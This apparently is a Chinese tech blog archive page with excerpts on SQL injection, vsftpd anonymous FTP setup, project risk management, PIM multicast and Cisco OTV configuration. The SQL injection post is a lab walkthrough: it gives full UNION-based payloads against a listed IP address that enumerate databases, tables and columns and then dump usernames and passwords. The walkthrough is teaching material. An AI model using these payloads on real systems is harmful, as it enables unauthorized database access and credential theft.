DOIT - 技术小站
作者归档

PTE-SQL注入

第一章 SQL注入

1、找寻注入点

2、判断注入类型

a.数字型 b.字符型

http://49.235.78.245:1111/Less-1/?id=1 and 1=1

http://49.235.78.245:1111/Less-1/?id=1 and 1=2

看看是否正常,如果都正常,说明a—nd后面的1=1,1=2没有生效。说明是字符型注入,有闭合。

3、判断闭合方式

字符型注入闭合方式:‘ ” ) ‘) “) % %)

注释方法: %23 –+ # %00

http://49.235.78.245:1111/Less-1/?id=1 and 1=1 %23 #显示查询结果

http://49.235.78.245:1111/Less-1/?id=1 and 1=2 %23 #不显示查询结果

说明闭合方式为 : ‘

4、判断列数 (order by

order by 排序函数 参数大于实际列数时,会报错。 以此来判断列数

http://49.235.78.245:1111/Less-1/?id=1′ order by 3 %23

5、联合查询 union selcet

http://49.235.78.245:1111/Less-1/?id=-1′ union select 1,2,3 %23

http://49.235.78.245:1111/Less-1/?id=-1′ union select 1,database(),version() %23

通过显示情况判断回显位置。

MySQL 常用表

information_schema.schemata #存储数据库中所有数据库的库名

information_schema.tables #存储数据库中所有数据表的表名

information_schema.columns #存储数据库中所有列的列名

常用字段

table_schema #数据库名称

table_name #数据表名称

column_name #列名称

依次查询:

查询所有库名

http://49.235.78.245:1111/Less-1/?id=-1′ union select 1,group_concat(schema_name),3 from information_schema.schemata %23

查询所有表名

http://49.235.78.245:1111/Less-1/?id=-1′ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’security’ %23

查询列名称

http://49.235.78.245:1111/Less-1/?id=-1′ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=”users” %23

查询结果

http://49.235.78.245:1111/Less-1/?id=-2′ union select 1,group_concat(“@”, id,”:”,username,”:”,password,”@”),3 from users %23

阅读更多…

CentOS7 的FTP服务器配置

一、安装vsftpd及ftp命令
yum install vsftpd -y
yum install ftp -y
 
二、vsftpd服务器的配置文件
 
实现在开启防火墙和SELinux情况下,实现匿名用户的登录,可以上传下载,可以创建目录,创建权限掩码为022,可以删除文件,最大上传速度为100kbit/s。
 
vsftpd服务器的主要配置文件是/etc/vsftpd/vsftpd.conf。
1.服务器端设置
 
1.1修改配置文件开放匿名用户上传、下载及其他权限,
 
anonymous_enable=yes //允许匿名用户登录
 
anon_upload_enable=yes //允许匿名用户上传
 
write_enable=yes //赋予写权限
 
anon_mkdir_write_enable=yes //允许匿名用户新建文件夹
 
anon_other_write_enable=yes //匿名用户拥有除了上传和新建目录之外的其他权限
 
anon_amask=022 //匿名用户的权限掩码
 
anon_max_rate=102400 //最大上传速度100kbit/s
 
 
然后重启服务
 
systemctl restart vsftpd.service
 

阅读更多…

项目风险管控措施研究

一、总体概述​

在当今复杂多变的市场环境和技术快速迭代的背景下,项目执行过程中面临着诸多不确定性因素,这些因素可能对项目的进度、成本、质量以及最终目标的实现产生不利影响,甚至导致项目失败。项目风险管控作为项目管理的核心组成部分,其重要性日益凸显。有效的项目风险管控能够提前识别潜在风险,分析风险发生的概率和影响程度,制定科学合理的应对措施,从而降低风险损失,保障项目按照计划有序推进,提高项目成功的概率。​

本项目作为一项涉及多领域、多环节的复杂系统工程,涵盖了技术研发、系统集成、人员调配等多个方面,在项目启动、规划、执行和收尾的各个阶段,都可能面临各种风险。因此,建立一套全面、系统、有效的项目风险管控体系,对于项目的顺利实施具有至关重要的意义。本文章将深入分析项目可能面临的各类风险,并针对性地提出具体的管控措施,旨在为项目的成功实施提供有力的保障。​

二、本项目的风险分析

每个项目在实施过程中都存在着风险——即有可能导致项目失败的因素。风险管理是贯穿整个工程的建设过程中的,需要所有承建单位及时发现,及时规避项目风险。

我公司凭借多年项目的实施经验,规范的项目管理,在对本项目进行仔细分析后,制定了多种风险防范的措施,可以保证所承担项目的顺利进行。在项目实施中有效地管理风险、控制风险,是项目实施成功的必要条件。

以下列出了针对本项目的实施、技术与运维风险及其防范措施,以期引起实施各方的高度重视,及时做好防范准备,保证项目的顺利实施和成功。

(一)组织风险

1、人力资源投入不足

本项目实施建设需要投入足够的、合格的实施技术人员和业务人员,实施组织队伍规模较大。

为避免此风险,可按下列方法实施:

加强项目的管理力度。

强化项目中的成果管理和知识积累管理。

从人力资源规划方面,储备备用人力资源。

提前进行人员的储备和培养。

完善培训机制和手段。

利用项目本身的实施过程,充分培养后继人才。

2、项目人员能力的限制

在项目中,需要具备足够的集成实施能力。项目人员的能力不足将严重影响实施项目的质量和进度。

为避免此风险可按下列方法实施:

制定完整的人力资源计划。

充分调集我公司以及其他参与方现有人员,考核其能力水平,并定期评估,确保项目实施人员的水平能力。

建立优秀人员的储备人才库,在需要的时候可以快速进入项目。

建立知识积累和管理机制。

建立知识培训方法,以及快速培训方式。

注重人才培养,建设后备人力资源库。

3、实施范围的不断扩大导致项目延期

通常在项目过程中,用户会对项目开始时所提出的目标和要求有所变化,造成实施范围的不断扩大和项目实施的不断延期,最终使项目搁浅。为避免这种情况的发生,我们应该:

建立项目领导小组,明确项目的目标和各自的权限。

成立项目领导小组,处理项目实施的成本和帐务──明确预算控制。

配备经验丰富的项目经理。

定期向项目的高层管理部门和用户报告项目实施的进展及存在的问题。

控制实施范围的变化──形成书面文档、陈述更改原因,待高层管理部门批准后方可实施更改。

建立当项目实施出现问题时进行汇报和解决的标准工作流程。

(二)沟通风险

1、项目组的双向沟通

由于一方未能及时的向另一方进行沟通,导致双方在项目的实施过程不能有效地配合,从而影响项目的进度及质量:

建立沟通机制,确保双方的沟通渠道畅通。

对于沟通中的问题处理,要建立汇报和解决的工作流程。

沟通的结论要建立档案机制,确保成果的积累和良好管理。

2、不能及时地审阅和签署提交的文档

工作不及时,会影响后续任务的开展。可能使项目延期:

根据工程管理办法,制定审批、签阅流程,严格控制期限。

明确责任,建立无异议限期通过制度。

根据工作计划,设定工作期限,确保整体计划的高度可控性。

3、签字代表不能对提交文档做出决定

不决定或错误决定,会影响后续任务的开展,可能使项目延期。

明确责任,定位管理权限,严格审批流程。

阅读更多…

组播回忆小记

PIM有两个版本,一个spase mode 一个dense mode,主要的区别是在转发组播流量行为上,dense mode前提假设网络上(pim 区域)所有设备都是组播源的接收者,除非特别指明不接收。spase mode 前提假设你不想接收转发组播除非你特别告诉想接收组播流。

PIM dense mode是相当简单直接的转发方式,但是也相当浪费网络资源

PIM spase mode 主要核心概念是RP汇聚点,组播源就是树的根。但是如何让PIM区域里的路由器转发默认没有配置转发的组播流量,一个接收者可能说我想加入组播组239.1.1.1,但是如何让离接收者最近的路由器(也就是最后一跳路由器)知道往哪里发送 PIM JOIN msgs(就是告诉上游路由器它想开始接收这个组的组播流),再上一跳的路由器在把PIM Join msg发到哪。RP就是解决这个问题。所有的路由器表明它们想加入的特定组播组到RP,以及所有的流量源首先转发流量到RP,以至于让RP来转发后续的流量,这就是一个共享树

共享树(*,G)VS最短路径树(S,G)

2.SSM 指定源组播
使用IGMPv3    它的报文里指定了源ip
不建立(*,G) 表项,不需要RP
地址段 232.0.0.0/8作为SSM组播范围  

3.BIDir双向PIM
Bi-Dir 在从源端到RP之间路径上的路由器中,选择一个“指定转发器”(选择原则:到RP最优)

CCIE-DC学习笔记4–OTV

交换机只有N7K支持 OTV ,路由器CSR也支持OTV

edge设备
每一个site最多2个edge设备

internal interfaces 内部接口 二层trunk

join interface 接入外网 IP 只有一个

overlay interface 逻辑接口 封装,解封装

原则与限制
1.OTV边界设备上 不能创建扩展VLAN的SVI
2.为一个overlayinterface只能指派一个join interface
3.同一个站点多个overlay interface可以共享一个site-vlan

OTV control Plane
邻居建立取决于广域网能力
1.支持组播 加入统一组播组
2.不支持组播 需要一个或者多个边界设备做比邻服务器

OTV二层故障域
1.站点间生成树隔离 BPDU不会通过overlay interface转发
不知道目的地的单播流量隔离
边界设备做ARP代理

AED 授权边界设备
在有2个OTV边界设备时,每个VLAN只由一个边界设备转发
基于HASH函数选择VLAN

OTV配置
feature otv
interface overlay0
descripticon West Site
otv join-interface E1/1
otv control-group 239.1.1.1
otv data-group 232.192.1.0/24 站点内组播流量
otv extend-vlan 100-150

otv site-vlan 99
otv site identifier 0x1 (OTV站点标示,同一站点内标示一致)

show otv vlan
show otv route

骨干网不支持组播情况下的OTV:
需要OTV adjacency 服务器

主用adjacency server 配置
interface overlay0
descripticon West Site
otv join-interface E1/1
otv extend-vlan 100-150
otv adjacency-server unicast only

备用adjacency server配置
interface overlay0
otv adjacency-server unicast only
otv use-adjacency-server x.x.x.x unicast only

使用备用adjacency server配置
interface overlay0
otv adjacency-server unicast only
otv use-adjacency-server x.x.x.x(主用) x.x.x.x(备用)unicast only

show otv adjacency

OTV新特性
一、环回口做join interface
join interface 只能用一个 ,出口有2个的时候,可以用环回口,防止单一接口DOWN

二、Authentication
1.数据层面认证(认证不通过,可以建邻居,发不了数据)
key chain OTVkeys
key 1
key-string 0 cisco

interface overlay1
otv isis authentication md5
otv isis authentication key-chain OTVkeys

2.控制层面认证(认证不通过建不了邻居)

otv-isis default
vpn overlay1
authentication-check
authentication-type md5
authentication key-chain OTVkeys

三、OTV VLAN Translation
解决两数据中心的两端VLAN号不一致
DC1 vlan 100—— DC2 vlan 200

只需要在DC1配置一条命令:
interface overlay0
otv vlan mapping 203 to 303

show otv vlan-mapping

watch glee episodes joomla themes Wordpress主题站 templates2joomla